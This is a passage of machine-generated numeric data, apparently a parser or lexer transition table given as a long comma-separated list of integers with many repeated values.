2408448,2416640,2158592,2465792,2158592,2158592,2158592,2158592,2158592,3186688,2158592,0,32768,0,0,0,0,0,0,2367488,2949120,2158592,2985984,2158592,2998272,2158592,2158592,2158592,3129344,2158592,2158592,2478080,2158592,2158592,2158592,2535424,2543616,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,3117056,2207744,2207744,2478080,2207744,2207744,2207744,2207744,2699264,2207744,2207744,2207744,2207744,2207744,2748416,2756608,2777088,2801664,2207744,2207744,2158877,2158877,2158877,2158877,2158877,0,0,0,2158877,2158877,2158877,2158877,0,0,2535709,2543901,2158877,2158877,2158877,0,0,0,2158877,2158877,2158877,2990365,2158877,2158877,2158730,2158730,2158730,2158730,2158730,2572426,2207744,2535424,2543616,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,3117056,2158592,2158592,2478080,2207744,2207744,2990080,2207744,2207744,2158592,2158592,2482176,2158592,2158592,0,0,0,2158592,2158592,2158592,0,2158592,2908160,2158592,2158592,2158592,2977792,2158592,2158592,2158592,2158592,3039232,2158592,2158592,3010560,2207744,2428928,2207744,2514944,2207744,2588672,2207744,2838528,2207744,2207744,2207744,3010560,2158592,2428928,2158592,2514944,0,0,2158592,2588672,2158592,0,2838528,2158592,2158592,2158592,3010560,2158592,2506752,2158592,18,0,0,0,0,0,0,0,2211840,0,0,0,0,2158592,0,0,29315,922,0,0,0,45,45,45,45,45,45,45,45,45,45,45,45,45,1539,45,3006464,2383872,0,2020,2158592,2158592,2158592,2158592,3006464,2158592,2637824,2953216,2158592,2207744,2637824,2953216,2207744,0,0,2158592,2637824,2953216,2158592,2539520,2158592,2539520,2207744,0,0,2539520,2158592,2158592,2158592,2158592,2207744,2506752,2207744,2207744,2207744,2207744,2207744,2158592,2506752,0,0,2158592,2207744,0,2158592,2158592,2207744,0,2158592,2158592,2207744,0,2158592,2965504,2965504,2965504,0,0,0,0,0,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2474269,2158877,2158877,0,0,2158877,2158877,2158877,2158877,2634013,2658589,0,0,2740509,2744605,0,2834717,40976,18,36884,45078,24,28,90143,94242,118820,102439,106538,98347,118820,118820,118820,40976,18,18,36884,0,0,0,24,24,24,27,27,27,27,90143,0,0,86016,0,0,2211840,102439,0,0,0,98347,0,2158592,2158592,2158592,2158592,2158592,3158016,0,2375680,2379776,2158592,2158592,2420736,2158592,2449408,2158592,2158592,0,94242,0,0,0,2211840,102439,0,0,106538,98347,135,2158592,2158592,2158592,2158592,2158592,2158592,2564096,2158592,2158592,2158592,2158592,2158592,2596864,2158592,2158592,2158592,2158592,2158592,2158592,2641920,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2781184,2793472,2494464,2158592,2158592,2158592,2523136,2527232,2158592,2158592,2576384,2158592,2158592,2158592,2158592,2158592,2158592,0,40976,0,18,18,24,0,27,27,0,2158592,2498560,2158592,2158592,0,2158592,2158592,2568192,2158592,2592768,2625536,2158592,2158592,2674688,0,0,0,0,0,2211840,0,0,0,0,0,0,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2473984,2158592,2158592,2494464,2158592,2158592,2158592,3006464,2383872,0,0,2158592,2158592,2158592,2158592,3006464,2158592,2637824,2953216,2158592,2207744,2637824,2953216,40976,18,36884,45078,24,27,147488,94242,147456,147488,106538,98347,0,0,147456,40976,18,18,36884,0,45078,0,24,24,24,27,27,27,27,0,81920,0,94242,0,0,0,2211840,0,0,0,106538,98347,0,2158592,2158592,2158592,2158592,2158592,2158592,2428928,2158592,2514944,2158592,2588672,2158592,2838528,2158592,2158592,40976,18,151573,45078,24,27,90143,94242,0,102439,106538,98347,0,0,0,40976,18,18,36884,0,45078,0,24,24,24,27,27,27,27,90143,0,0,1315,0,97,97,97,97,97,97,97,97,97,97,1487,97,18,131427,0,0,0,0,0,0,362,0,0,365,29315,367,0,0,29315,0,0,0,0,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,67,67,130,94242,0,0,0,2211840,102439,0,0,106538,98347,0,2158592,2158592,2158592,2158592,2158592,2158592,3096576,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2207744,2207744,2158592,18,0,0,0,0,0,0,0,2211840,0,0,0,0,2158592,644,2207744,2207744,2207744,3186688,2207744,0,1080,0,1084,0,1088,0,0,0,0,0,0,0,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2531466,2158730,2158730,2158730,2158730,2158730,2617482,0,94242,0,0,0,2211840,102439,0,0,106538,98347,0,2158592,2158592,2158592,2158592,2158592,2781184,2793472,2158592,2818048,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,40976,18,36884,45078,24,27,90143,159779,159744,102439,159779,98347,0,0,159744,40976,18,18,36884,0,45078,0,2224253,172032,2224253,2232448,2232448,172032,2232448,90143,0,0,2170880,0,0,550,829,2158592,2158592,2158592,2387968,2158592,2158592,2158592,2158592,2158592,2158592,0,40976,0,18,18,124,124,127,127,127,40976,18,36884,45078,25,29,90143,94242,0,102439,106538,98347,0,0,163931,40976,18,18,36884,0,45078,249856,24,24,24,27,27,27,27,90143,0,0,2170880,0,0,827,0,2158592,2158592,2158592,2387968,2158592,2158592,2158592,2158592,2158592,2158592,0,40976,0,4243810,4243810,24,24,27,27,27,2207744,0,0,0,0,0,0,2166784,0,0,0,0,57344,286,2158592,2158592,2158592,2158592,2707456,2732032,2158592,2158592,2158592,2822144,2826240,2158592,2895872,2158592,2158592,2924544,2158592,2158592,2973696,2158592,2207744,2207744,2207744,3186688,2207744,0,0,0,0,0,0,53248,0,0,0,0,0,97,97,97,97,97,1613,97,97,97,97,97,97,1495,97,97,97,97,97,97,97,97,97,566,97,97,97,97,97,97,2207744,0,0,0,0,0,0,2166784,546,0,0,0,0,286,2158592,2158592,2158592,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,17,18,36884,45078,24,27,90143,94242,0,102439,106538,98347,0,0,20480,120,121,18,18,36884,0,45078,0,24,24,24,27,27,27,27,90143,0,0,2170880,0,53248,550,0,2158592,2158592,2158592,2387968,2158592,2158592,2158592,2158592,2158592,2158592,0,40976,196608,18,266240,24,24,27,27,27,0,94242,0,0,0,38,102439,0,0,106538,98347,0,45,45,45,45,45,45,45,1535,45,45,45,45,45,45,45,1416,45,45,45,45,45,45,45,45,424,45,45,45,45,45,45,45,45,45,405,45,45,45,45,45,45,45,45,45,45,45,45,45,199,45,45,67,67,67,67,67,491,67,67,67,67,67,67,67,67,67,67,67,1766,67,67,67,1767,67,24850,24850,12564,12564,0,0,2166784,546,0,53531,53531,0,286,97,97,0,0,97,97,97,97,97,97,0,0,97,97,0,97,97,97,45,45,45,45,45,45,67,67,67,67,67,67,67,67,67,743,57889,0,2170880,0,0,550,0,97,97,97,97,97,97,97,97,97,45,45,45,45,45,45,45,45,1856,45,1858,1859,67,67,67,1009,67,67,67,67,67,67,67,67,67,67,67,1021,67,67,67,67,67,25398,0,13112,0,54074,0,0,0,0,0,0,0,0,0,2367773,2158877,2158877,2158877,2158877,2158877,2158877,2699549,2158877,2158877,2158877,2158877,2158877,2748701,2756893,2777373,2801949,97,1115,97,97,97,97,97,97,97,97,97,97,97,97,97,97,857,97,67,67,67,67,67,1258,67,67,67,67,67,67,67,67,67,67,67,1826,67,97,97,97,97,97,97,1338,97,97,97,97,97,97,97,97,97,97,97,97,97,870,97,97,67,67,67,1463,67,67,67,67,67,67,67,67,67,67,67,67,67,1579,67,67,97,97,97,1518,97,97,97,97,97,97,97,97,97,97,97,97,97,904,905,97,97,97,97,1620,97,97,97,97,97,97,97,97,97,97,97,0,921,0,0,0,0,0,0,45,1679,67,67,67,1682,67,67,67,67,67,67,67,67,67,1690,67,0,0,97,97,97,97,45,45,67,67,0,0,97,97,45,45,45,669,45,45,45,45,45,45,45,45,45,45,45,45,189,45,45,45,1748,45,45,45,1749,1750,45,45,45,45,45,45,45,45,67,67,67,67,1959,67,67,67,67,1768,67,67,67,67,67,67,67,67,97,97,97,97,97,97,97,97,97,1791,97,97,97,97,97,97,97,97,45,45,45,45,45,45,1802,67,1817,67,67,67,67,67,67,1823,67,67,67,67,97,97,97,97,0,0,0,97,97,97,97,0,97,97,97,97,1848,45,45,45,45,45,45,45,45,45,45,45,659,45,45,45,45,45,45,45,1863,67,67,67,67,67,67,67,67,67,67,67,67,495,67,67,67,67,67,1878,97,97,97,97,0,0,0,97,97,97,97,0,0,97,97,97,97,97,0,0,0,97,97,97,97,97,97,45,45,45,45,45,45,45,45,45,67,67,67,67,97,97,97,97,0,0,0,1973,97,97,97,0,97,97,97,97,97,97,97,97,97,97,97,97,97,1165,97,1167,67,24850,24850,12564,12564,0,0,2166784,0,0,53531,53531,0,286,97,97,0,0,97,97,97,97,97,97,0,0,97,97,1789,97,0,94242,0,0,0,2211840,102439,0,0,106538,98347,136,2158592,2158592,2158592,2158592,2158592,3158016,229376,2375680,2379776,2158592,2158592,2420736,2158592,2449408,2158592,2158592,67,24850,24850,12564,12564,0,0,280,547,0,53531,53531,0,286,97,97,0,0,97,97,97,97,97,97,0,1788,97,97,0,97,2024,97,45,45,45,45,45,45,67,67,67,67,67,67,67,67,235,67,67,67,67,67,57889,547,547,0,0,550,0,97,97,97,97,97,97,97,97,97,45,45,45,1799,45,45,45,67,67,67,67,67,25398,0,13112,0,54074,0,0,1092,0,0,0,0,0,97,97,97,97,1612,97,97,97,97,1616,97,1297,1472,0,0,0,0,1303,1474,0,0,0,0,1309,1476,0,0,0,0,97,97,97,1481,97,97,97,97,97,97,1488,97,0,1474,0,1476,0,97,97,97,97,97,97,97,97,97,97,97,607,97,97,97,97,40976,18,36884,45078,26,30,90143,94242,0,102439,106538,98347,0,0,213080,40976,18,36884,45078,24,27,90143,94242,0,102439,106538,98347,0,0,143448,40976,18,18,36884,0,45078,0,24,24,24,27,27,27,27,0,0,0,0,97,97,97,97,1482,97,1483,97,97,97,97,97,97,1326,97,97,1329,1330,97,97,97,97,97,97,1159,1160,97,97,97,97,97,97,97,97,590,97,97,97,97,97,97,97,0,94242,0,0,0,2211974,102439,0,0,106538,98347,0,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2474122,2158730,2158730,2494602,2158730,2158730,2158730,2809994,2158730,2158730,2842762,2158730,2158730,2158730,2900106,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,3014794,2158730,2158730,3051658,2158730,2158730,3100810,2158730,2158730,2158730,2158730,3096714,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2207744,2207744,2207744,2207744,2207744,2572288,2207744,2207744,2207744,2207744,541,541,543,543,0,0,2166784,0,548,549,549,0,286,2158877,2158877,2158877,2863389,2892061,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2158877,3186973,2158877,0,0,0,0,0,0,0,0,2367626,2158877,2404637,2412829,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2564381,2158877,2158877,2605341,2158877,2158877,2158877,2158877,2158877,2158877,2679069,2158877,2695453,2158877,2703645,2158877,2711837,2752797,2158877,0,2158877,2158877,2158877,2384010,2158730,2158730,2158730,2158730,3006602,2383872,2207744,2207744,2207744,2207744,2207744,2207744,3096576,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,0,0,0,0,0,0,2162688,0,0,2158877,2785565,2158877,2810141,2158877,2158877,2842909,2158877,2158877,2158877,2900253,2158877,2158877,2158877,2158877,2158877,2531613,2158877,2158877,2158877,2158877,2158877,2617629,2158877,2158877,2158877,2158877,2158730,2818186,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,3105053,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2158877,0,0,0,0,0,97,97,97,1611,97,97,97,97,97,97,97,1496,97,97,1499,97,97,97,97,97,2441354,2445450,2158730,2158730,2158730,2158730,2158730,2158730,2502794,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2433162,2158730,2453642,2461834,2158730,2158730,2158730,2158730,2158730,2158730,2580618,2158730,2158730,2158730,2158730,2621578,2158730,2158730,2158730,2158730,2158730,2158730,2699402,2158730,2158730,2158730,2158730,2678922,2158730,2695306,2158730,2703498,2158730,2711690,2752650,2158730,2158730,2785418,2158730,2158730,2158730,3113098,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,3186826,2158730,2207744,2207744,2207744,2207744,2781184,2793472,2207744,2818048,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,0,541,0,543,2158877,2502941,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2580765,2158877,2158877,2158877,2158877,2621725,2158877,3019037,2158877,3043613,2158877,2158877,2158877,2158877,3080477,2158877,2158877,3113245,2158877,2158877,2158877,2158877,0,2158877,2908445,2158877,2158877,2158877,2978077,2158877,2158877,2158877,2158877,3039517,2158877,2158730,2510986,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2584714,2158730,2609290,2158730,2158730,2629770,2158730,2158730,2158730,2388106,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2605194,2158730,2158730,2158730,2158730,2687114,2158730,2715786,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2867338,2158730,2904202,2158730,2158730,2158730,2642058,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2781322,2793610,2158730,3121290,2158730,2158730,2158730,3149962,2158730,2158730,3170442,3174538,2158730,2367488,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2441216,2445312,2207744,2207744,2207744,2207744,2207744,2207744,2502656,2158877,2433309,2158877,2453789,2461981,2158877,2158877,2158877,2158877,2158877,2158877,2511133,2158877,2158877,2158877,2158877,2584861,2158877,2609437,2158877,2158877,2629917,2158877,2158877,2158877,2687261,2158877,2715933,2158877,2158730,2158730,2973834,2158730,2982026,2158730,2158730,3002506,2158730,3047562,3063946,3076234,2158730,2158730,2158730,2158730,2207744,2506752,2207744,2207744,2207744,2207744,2207744,2158877,2507037,0,0,2158877,2158730,2158730,2158730,3203210,2207744,2207744,2207744,2207744,2207744,2424832,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2564096,2207744,2207744,2207744,2707741,2732317,2158877,2158877,2158877,2822429,2826525,2158877,2896157,2158877,2158877,2924829,2158877,2158877,2973981,2158877,18,0,0,0,0,0,0,0,2211840,0,0,642,0,2158592,0,45,1529,45,45,45,45,45,45,45,45,45,45,45,45,45,1755,45,67,67,2982173,2158877,2158877,3002653,2158877,3047709,3064093,3076381,2158877,2158877,2158877,2158877,2158877,2158877,2158877,3203357,2523274,2527370,2158730,2158730,2576522,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2908298,2494749,2158877,2158877,2158877,2523421,2527517,2158877,2158877,2576669,2158877,2158877,2158877,2158877,2158877,2158877,0,40976,0,18,18,4321280,2224253,2232448,4329472,2232448,2158730,2498698,2158730,2158730,2158730,2158730,2568330,2158730,2592906,2625674,2158730,2158730,2674826,2736266,2158730,2158730,2158730,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2158730,2912394,2158730,2158730,2158730,2158730,2158730,2158730,2158730,3109002,2158730,2158730,3133578,3145866,3154058,2375680,2207744,3108864,2207744,2207744,3133440,3145728,3153920,2375965,2380061,2158877,2158877,2421021,2158877,2449693,2158877,2158877,2158877,3117341,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,3104906,2158730,2158730,2158730,2158730,2158730,2158730,2158877,2498845,2158877,2158877,0,2158877,2158877,2568477,2158877,2593053,2625821,2158877,2158877,2674973,0,0,0,0,97,97,1480,97,97,97,97,97,1485,97,97,97,0,97,97,1729,97,1731,97,97,97,97,97,97,97,311,97,97,97,97,97,97,97,97,1520,97,97,1523,97,97,1526,97,2736413,2158877,2158877,0,2158877,2912541,2158877,2158877,2158877,2158877,2158877,2158877,2158877,3109149,2158877,2158877,3014941,2158877,2158877,3051805,2158877,2158877,3100957,2158877,2158877,3121437,2158877,2158877,2158877,3150109,3133725,3146013,3154205,2158730,2408586,2416778,2158730,2465930,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,3018890,2158730,3043466,2158730,2158730,2158730,2158730,3080330,2633866,2658442,2740362,2744458,2834570,2949258,2158730,2986122,2158730,2998410,2158730,2158730,2158730,3129482,2207744,2408448,2949120,2207744,2985984,2207744,2998272,2207744,2207744,2207744,3129344,2158877,2408733,2416925,2158877,2466077,2158877,2158877,3170589,3174685,2158877,0,0,0,2158730,2158730,2158730,2158730,2158730,2424970,2158730,2158730,2158730,2158730,2707594,2732170,2158730,2158730,2158730,2822282,2826378,2158730,2896010,2158730,2158730,2924682,2949405,2158877,2986269,2158877,2998557,2158877,2158877,2158877,3129629,2158730,2158730,2478218,2158730,2158730,2158730,2535562,2543754,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,2158730,3117194,2207744,2207744,2478080,2207744,2207744,2207744,2207744,3014656,2207744,2207744,3051520,2207744,2207744,3100672,2207744,2207744,3121152,2207744,2207744,2207744,2207744,2207744,2584576,2207744,2609152,2207744,2207744,2629632,2207744,2207744,2207744,2686976,2207744,2207744,2535424,2543616,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,3117056,2158877,2158877,2478365,0,2158877,2158877,2158877,2158877,2158877,2158877,2158730,2158730,2482314,2158730,2158730,2158730,2158730,2158730,2158730,2207744,2207744,2207744,2387968,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,0,823,0,825,2158730,2158730,2158730,2990218,2158730,2158730,2207744,2207744,2482176,2207744,2207744,2207744,2207744,2207744,2207744,2207744,0,0,0,0,0,0,2162688,135,0,2207744,2207744,2990080,2207744,2207744,2158877,2158877,2482461,2158877,2158877,0,0,0,2158877,2158877,2158877,2158877,2158877,2158730,2429066,2158730,2515082,2158730,2588810,2158730,2838666,2158730,2158730,2158730,3010698,2207744,2428928,2207744,2514944,2207744,2588672,2207744,2838528,2207744,2207744,2207744,3010560,2158877,2429213,2158877,2515229,0,0,2158877,2588957,2158877,0,2838813,2158877,2158877,2158877,3010845,2158730,2506890,2158730,2158730,2158730,2748554,2756746,2777226,2801802,2158730,2158730,2158730,2863242,2891914,2158730,2158730,2158730,2158730,2158730,2158730,2564234,2158730,2158730,2158730,2158730,2158730,2597002,2158730,2158730,2158730,3006464,2384157,0,0,2158877,2158877,2158877,2158877,3006749,2158730,2637962,2953354,2158730,2207744,2637824,2953216,2207744,0,0,2158877,2638109,2953501,2158877,2539658,2158730,2539520,2207744,0,0,2539805,2158877,2158730,2158730,2158730,2977930,2158730,2158730,2158730,2158730,3039370,2158730,2158730,2158730,2158730,2158730,2158730,3158154,2207744,0,2158877,2158730,2207744,0,2158877,2158730,2207744,0,2158877,2965642,2965504,2965789,0,0,0,0,1315,0,0,0,0,97,97,97,97,97,97,97,1484,97,97,97,97,2158592,18,0,122880,0,0,0,77824,0,2211840,0,0,0,0,2158592,0,356,0,0,0,0,0,0,28809,0,139,45,45,45,45,45,45,1751,45,45,45,45,45,45,45,67,67,1427,67,67,67,67,67,1432,67,67,67,3104768,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,122880,0,0,0,0,1315,0,0,0,0,97,97,97,97,97,97,1322,550,0,286,0,2158592,2158592,2158592,2158592,2158592,2424832,2158592,2158592,2158592,2158592,2158592,2158592,0,40976,0,18,18,24,24,4329472,27,27,2207744,2207744,2977792,2207744,2207744,2207744,2207744,3039232,2207744,2207744,2207744,2207744,2207744,2207744,3158016,542,0,0,0,542,0,544,0,0,0,544,0,550,0,0,0,0,0,97,97,1610,97,97,97,97,97,97,97,97,898,97,97,97,97,97,97,97,0,94242,0,0,0,2211840,0,0,0,0,0,0,2158592,2158592,2158592,2158592,2158592,2424832,2158592,2158592,2158592,2158592,2158592,2158592,40976,18,36884,45078,24,27,90143,94242,237568,102439,106538,98347,0,0,20480,40976,18,36884,45078,24,27,90143,94242,0,102439,106538,98347,0,0,192512,40976,18,36884,45078,24,27,90143,94242,0,102439,106538,98347,0,0,94,40976,18,36884,45078,24,27,90143,94242,0,102439,106538,98347,0,0,96,40976,18,36884,45078,24,27,90143,94242,0,102439,106538,98347,0,0,12378,40976,18,18,36884,0,45078,0,24,24,24,126,126,126,126,90143,0,0,2170880,0,0,0,0,2158592,2158592,2158592,2387968,2158592,2158592,2158592,2158592,2158592,2158592,20480,40976,0,18,18,24,24,27,27,27,40976,18,36884,45078,24,27,90143,94242,241664,102439,106538,98347,0,0,20568,40976,18,36884,45078,24,27,90143,94242,0,102439,106538,98347,0,0,200797,40976,18,36884,45078,24,27,90143,94242,0,102439,106538,98347,0,0,20480,40976,18,36884,45078,24,27,90143,94242,0,0,0,44,0,0,20575,40976,18,36884,45078,24,27,90143,94242,0,41,41,41,0,0,1126400,40976,18,36884,45078,24,27,90143,94242,0,102439,106538,98347,0,0,0,40976,18,36884,45078,24,27,90143,94242,0,102439,106538,98347,0,0,89,40976,18,18,36884,0,45078,0,24,24,24,27,131201,27,27,90143,0,0,2170880,0,0,550,0,2158592,2158592,2158592,2387968,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2441216,2445312,2158592,2158592,2158592,2158592,2158592,0,94242,0,0,208896,2211840,102439,0,0,106538,98347,0,2158592,2158592,2158592,2158592,2158592,3186688,2158592,0,0,0,0,0,0,0,0,2367488,32768,0,0,0,0,0,0,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2433024,2158592,2453504,2461696,2158592,2158592,2158592,2158592,2158592,2158592,2510848,2158592,2158592,2158592,2158592,40976,18,36884,245783,24,27,90143,94242,0,102439,106538,98347,0,0,20480,40976,18,36884,45078,24,27,90143,94242,0,102439,106538,98347,0,0,221184,40976,18,36884,45078,24,27,90143,94242,0,102439,106538,98347,0,0,180224,40976,18,18,36884,155648,45078,0,24,24,217088,27,27,27,217088,90143,0,0,2170880,0,0,828,0,2158592,2158592,2158592,2387968,2158592,2158592,2158592,2158592,2158592,2158592,2207744,2207744,2207744,2387968,2207744,2207744,2207744,2207744,2207744,2207744,2207744,0,0,0,0,0,0,2162688,233472,0,0,94242,0,0,0,38,102439,0,0,106538,98347,28809,45,45,45,45,45,718,45,45,45,45,45,45,45,45,45,727,131427,0,0,0,0,362,0,365,28809,367,139,45,45,45,45,45,45,1808,45,45,45,45,67,67,67,67,67,67,67,97,97,0,0,97,67,24850,24850,12564,12564,0,57889,0,0,0,53531,53531,367,286,97,97,0,0,97,97,97,97,97,97,1787,0,97,97,0,97,97,97,45,45,45,45,2029,45,67,67,67,67,2033,57889,0,0,54074,54074,550,0,97,97,97,97,97,97,97,97,97,45,1798,45,45,1800,45,45,0,1472,0,0,0,0,0,1474,0,0,0,0,0,1476,0,0,0,0,1315,0,0,0,0,97,97,97,97,1320,97,97,0,0,97,97,97,97,1786,97,0,0,97,97,0,1790,1527,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,663,67,24850,24850,12564,12564,0,57889,281,0,0,53531,53531,367,286,97,97,0,0,97,97,97,1785,97,97,0,0,97,97,0,97,97,1979,97,97,45,45,1983,45,1984,45,45,45,45,45,652,45,45,45,45,45,45,45,45,45,45,690,45,45,694,45,45,40976,19,36884,45078,24,27,90143,94242,0,102439,106538,98347,0,0,262144,40976,18,36884,45078,24,27,90143,94242,38,102439,106538,98347,46,67,98,40976,18,36884,45078,24,27,90143,94242,38,102439,106538,98347,45,67,97,40976,18,36884,45078,24,27,90143,94242,0,102439,106538,98347,0,0,258048,40976,18,36884,45078,24,27,90143,94242,0,102439,106538,98347,0,0,1122423,40976,18,36884,45078,24,27,90143,94242,0,1114152,1114152,1114152,0,0,1114112,40976,18,36884,45078,24,27,90143,94242,37,102439,106538,98347,0,0,204800,40976,18,36884,45078,24,27,90143,94242,0,102439,106538,98347,0,0,57436,40976,18,36884,45078,24,27,33,33,0,33,33,33,0,0,0,40976,18,18,36884,0,45078,0,124,124,124,127,127,127,127,90143,0,0,2170880,0,0,550,0,2158877,2158877,2158877,2388253,2158877,2158877,2158877,2158877,2158877,2781469,2793757,2158877,2818333,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2867485,2158877,2904349,2158877,2158877,2158877,2158877,2158877,2158877,2158877,3096861,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2441501,2445597,2158877,2158877,2158877,2158877,2158877,40976,122,123,36884,0,45078,0,24,24,24,27,27,27,27,90143,0,921,29315,0,0,0,0,45,45,45,45,45,45,45,45,936,2158592,4243810,0,0,0,0,0,0,0,2211840,0,0,0,0,2158592,0,921,29315,0,0,0,0,45,45,45,45,45,45,45,935,45,45,45,715,45,45,45,45,45,45,45,723,45,45,45,45,45,1182,45,45,45,45,45,45,45,45,45,45,430,45,45,45,45,45,40976,18,36884,45078,24,27,90143,94242,38,102439,106538,98347,47,68,99,40976,18,36884,45078,24,27,90143,94242,38,102439,106538,98347,48,69,100,40976,18,36884,45078,24,27,90143,94242,38,102439,106538,98347,49,70,101,40976,18,36884,45078,24,27,90143,94242,38,102439,106538,98347,50,71,102,40976,18,36884,45078,24,27,90143,94242,38,102439,106538,98347,51,72,103,40976,18,36884,45078,24,27,90143,94242,38,102439,106538,98347,52,73,104,40976,18,36884,45078,24,27,90143,94242,38,102439,106538,98347,53,74,105,40976,18,36884,45078,24,27,90143,94242,38,102439,106538,98347,54,75,106,40976,18,36884,45078,24,27,90143,94242,38,102439,106538,98347,55,76,107,40976,18,36884,45078,24,27,90143,94242,38,102439,106538,98347,56,77,108,40976,18,36884,45078,24,27,90143,94242,38,102439,106538,98347,57,78,109,40976,18,36884,45078,24,27,90143,94242,38,102439,106538,98347,58,79,110,40976,18,36884,45078,24,27,90143,94242,38,102439,106538,98347,59,80,111,40976,18,36884,45078,24,27,90143,94242,38,102439,106538,98347,60,81,112,40976,18,36884,45078,24,27,90143,94242,38,102439,106538,98347,61,82,113,40976,18,36884,45078,24,27,90143,94242,38,102439,106538,98347,62,83,114,40976,18,36884,45078,24,27,90143,94242,38,102439,106538,98347,63,84,115,40976,18,36884,45078,24,27,90143,94242,38,102439,106538,98347,64,85,116,40976,18,36884,45078,24,27,90143,94242,38,102439,106538,98347,65,86,117,40976,18,36884,45078,24,27,90143,94242,38,102439,106538,98347,66,87,118,40976,18,36884,45078,24,27,90143,94242,118820,102439,106538,98347,118820,118820,118820,40976,18,18,0,0,45078,0,24,24,24,27,27,27,27,90143,0,0,1314,0,0,0,0,0,0,97,97,97,97,97,1321,97,18,131427,0,0,0,0,0,0,362,0,0,365,0,367,0,0,1315,0,97,97,97,97,97,97,97,97,97,97,97,97,97,1360,97,97,131,94242,0,0,0,38,102439,0,0,106538,98347,28809,45,45,45,145,149,45,45,45,45,45,174,45,179,45,185,45,188,45,45,202,67,255,67,67,269,67,67,0,24850,12564,0,0,0,0,28809,53531,97,97,97,292,296,97,97,97,97,97,321,97,326,97,332,97,18,131427,0,0,0,0,0,0,362,0,0,365,29315,367,646,335,97,97,349,97,97,0,40976,0,18,18,24,24,27,27,27,437,45,45,45,45,45,45,45,45,45,45,45,45,45,67,67,67,67,67,67,67,67,523,67,67,67,67,67,67,67,67,67,67,67,67,511,67,67,67,97,97,97,620,97,97,97,97,97,97,97,97,97,97,97,97,97,1501,1502,97,793,67,67,796,67,67,67,67,67,67,67,67,67,67,808,67,0,0,97,97,97,97,45,45,67,67,0,0,97,97,2052,67,67,67,67,813,67,67,67,67,67,67,67,25398,542,13112,544,57889,0,0,54074,54074,550,830,97,97,97,97,97,97,97,97,97,315,97,97,97,97,97,97,841,97,97,97,97,97,97,97,97,97,854,97,97,97,97,97,97,589,97,97,97,97,97,97,97,97,97,867,97,97,97,97,97,97,97,891,97,97,894,97,97,97,97,97,97,97,97,97,97,906,45,937,45,45,940,45,45,45,45,45,45,948,45,45,45,45,45,734,735,67,737,67,738,67,740,67,67,67,45,967,45,45,45,45,45,45,45,45,45,45,45,45,45,45,435,45,45,45,980,45,45,45,45,45,45,45,45,45,45,45,45,45,415,45,45,67,67,1024,67,67,67,67,67,67,67,67,67,67,67,67,67,97,97,97,67,67,67,67,67,25398,1081,13112,1085,54074,1089,0,0,0,0,0,0,363,0,28809,0,139,45,45,45,45,45,45,1674,45,45,45,45,45,45,45,45,67,1913,67,1914,67,67,67,1918,67,67,97,97,97,97,1118,97,97,97,97,97,97,97,97,97,97,97,630,97,97,97,97,97,1169,97,97,97,97,97,0,921,0,1175,0,0,0,0,45,45,45,45,45,45,1534,45,45,45,45,45,1538,45,45,45,45,1233,45,45,45,45,45,45,67,67,67,67,67,67,67,67,742,67,45,45,1191,45,45,45,45,45,45,45,45,45,45,45,45,45,454,67,67,67,67,1243,67,67,67,67,67,67,67,67,67,67,67,1251,67,0,0,97,97,97,97,45,45,67,67,2050,0,97,97,45,45,45,732,45,45,67,67,67,67,67,67,67,67,67,67,67,67,97,97,67,67,67,1284,67,67,67,67,67,67,67,67,67,67,67,67,772,67,67,67,1293,67,67,67,67,67,67,0,0,0,0,0,0,0,0,0,0,368,2158592,2158592,2158592,2404352,2412544,1323,97,97,97,97,97,97,97,97,97,97,97,1331,97,9